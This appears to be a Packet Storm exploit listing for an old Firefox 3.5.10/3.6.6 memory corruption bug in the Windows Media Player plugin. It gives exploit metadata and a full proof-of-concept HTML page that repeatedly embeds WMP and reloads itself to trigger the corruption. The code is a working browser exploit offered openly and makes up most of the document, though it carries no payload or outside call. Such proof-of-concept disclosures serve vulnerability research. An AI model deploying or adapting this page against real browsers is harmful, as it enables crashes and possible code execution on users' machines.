Firefox versions 3.5.10 and 3.6.6 suffers from a WMP memory corruption vulnerability via pop-ups.
861b3eab07fc3b8178946ceed224790bd9606d1ec07c76a0b524c6a6f4c426aeSource: http://code.google.com/p/skylined/issues/detail?id=21
# Exploit Title: Firefox 3.5.10 & 3.6.6 WMP Memory Corruption Using Popups
# Date: 2010-10-13
# Author: berendjanwever
# Version: FF 3.5.10 & 3.6.6 with WMP 10 & 11
# Tested on: Windows XP sp3
<HTML>
<HEAD>
<SCRIPT>
function go() {
var oWMP = document.getElementById("WMP");
if (oWMP) {
location.reload();
} else {
var oWrapper = document.getElementById("wrapper");
oWrapper.innerHTML = '<EMBED id="WMP" type="application/x-mplayer2" autostart=1 src="repro-firefox.html"></EMBED>';
setTimeout(go, 1000);
}
}
</SCRIPT>
</HEAD>
<BODY onload="go()">
<SPAN id="wrapper"></SPAN>
</BODY>
</HTML>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed